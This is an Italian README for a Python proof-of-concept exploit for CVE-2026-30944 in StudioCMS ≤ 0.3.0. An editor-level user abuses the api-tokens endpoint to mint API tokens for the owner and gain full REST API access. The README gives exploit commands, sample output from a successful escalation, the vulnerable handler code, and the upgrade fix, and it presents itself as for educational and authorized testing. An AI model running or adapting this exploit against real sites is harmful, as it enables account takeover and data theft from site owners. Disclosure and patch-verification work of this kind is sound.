
Proof-of-concept in Python per CVE-2026-30944, che sfrutta una vulnerabilità BOLA in StudioCMS per elevare i privilegi tramite una generazione non sicura di token API.
Escalata di Privilegi in StudioCMS tramite Generazione Non Sicura di Token API
L'endpoint POST /studiocms_api/dashboard/api-tokens in StudioCMS ≤ 0.3.0 consente a qualsiasi utente autenticato (con ruolo minimo Editor) di generare token API per qualsiasi altro utente, inclusi gli account owner e admin.
L'endpoint accetta un parametro user nel corpo della richiesta che specifica l'UUID dell'utente target ma non valida mai se l'utente richiedente è autorizzato a creare token per conto di quel target. Questa è una classica vulnerabilità di Broken Object Level Authorization (BOLA) che porta a una completa escalation di privilegi.
┌──────────────┐ POST /api-tokens ┌──────────────┐
│ │ {"user":"<owner-id>"} │ │
│ Attaccante │ ─────────────────────────► │ StudioCMS │
│ (Editor) │ │ Server │
│ │ ◄───────────────────────── │ │
└──────────────┘ {"token":"eyJhb..."} └──────────────┘
│ │
│ GET /rest/v1/users │
│ Authorization: Bearer <owner-token> │
│ ─────────────────────────────────────────►│
│ │
│ ◄─────────────────────────────────────────│
│ [Dati utente completi come Owner] │
│ │
| File | Descrizione |
|---|---|
cve_2026_30944_poc.py | Script di sfruttamento in Python con modalità manuale e automatizzata |
README.md | Questo file |
LICENSE | Licenza MIT |
Editorpip install requests colorama
# Genera un token API per l'owner usando un account editor
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Salva i risultati in JSON
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--save
# Test con più ruoli per confermare la vulnerabilità
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
| Argomento | Descrizione |
|---|---|
-u, --url | URL di base del target StudioCMS |
--uuid | UUID dell'utente target (es. account owner) |
| Argomento | Descrizione |
|---|---|
--username | Nome utente per l'autenticazione |
--password | Password per l'autenticazione |
| Argomento | Descrizione |
|---|---|
--save | Salva i risultati in un file JSON |
--no-ssl-verify | Disabilita la verifica del certificato SSL |
──────────────────────────────────────────────────────────
FASE 1: Autenticazione
──────────────────────────────────────────────────────────
[+] Autenticato come 'editor01'
[*] Utente sessione: editor01 (editor)
[*] UUID sessione: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
FASE 2: Escalata di Privilegi
──────────────────────────────────────────────────────────
[*] UUID target: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generazione token API per l'utente target...
[+] Token API generato con successo!
[!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...
──────────────────────────────────────────────────────────
FASE 3: Verifica
──────────────────────────────────────────────────────────
[*] Verifica dell'accesso token sull'API REST...
[+] VULNERABILITÀ CONFERMATA — Accesso API completo ottenuto!
[*] Recuperati 9 record utente
──────────────────────────────────────────────────────────
FASE 2: Escalata di Privilegi
──────────────────────────────────────────────────────────
[*] UUID target: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generazione token API per l'utente target...
[*] Accesso negato (403 Forbidden) — l'endpoint potrebbe essere corretto
[-] Sfruttamento fallito — token non generato
L'handler vulnerabile in packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (righe 16–57) accetta un parametro user dal corpo JSON e lo passa direttamente alla funzione di generazione token senza controlli di autorizzazione:
// [1] Controlla solo se il chiamante è editor — non PER CHI sta creando il token
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] 'user' dal corpo della richiesta — nessuna validazione rispetto alla sessione autenticata
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);
// [3] Passato direttamente alla generazione del token — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
Il modello di autorizzazione verifica solo "il chiamante è almeno un editor?" invece di "il chiamante è autorizzato a creare un token per questo specifico utente?"
Aggiorna StudioCMS alla versione 0.4.0 o successiva:
npm install studiocms@latest
Questo strumento è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati.
Filipe Gaudard
Questo PoC è rilasciato sotto la Licenza MIT a scopo educativo. Usalo in modo responsabile ed etico.
| Campo | Valore |
|---|
| CVE | CVE-2026-30944 |
| GHSA | GHSA-667w-mmh7-mrr4 |
| CVSS v3.1 | 8.8 (Alta) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639: Bypass dell'Autorizzazione tramite Chiave Controllata dall'Utente |
| CWE (secondaria) | CWE-863: Autorizzazione Errata |
| MITRE ATT&CK | T1134 — Manipolazione dei Token di Accesso |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| Versioni Affette | studiocms ≤ 0.3.0 |
| Corretta in | studiocms 0.4.0 |
| Argomento | Descrizione |
|---|
--auto-test | Abilita il test automatizzato multi-ruolo |
--editor-user | Nome utente dell'account editor |
--editor-pass | Password dell'account editor |
--visitor-user | Nome utente dell'account visitor |
--visitor-pass | Password dell'account visitor |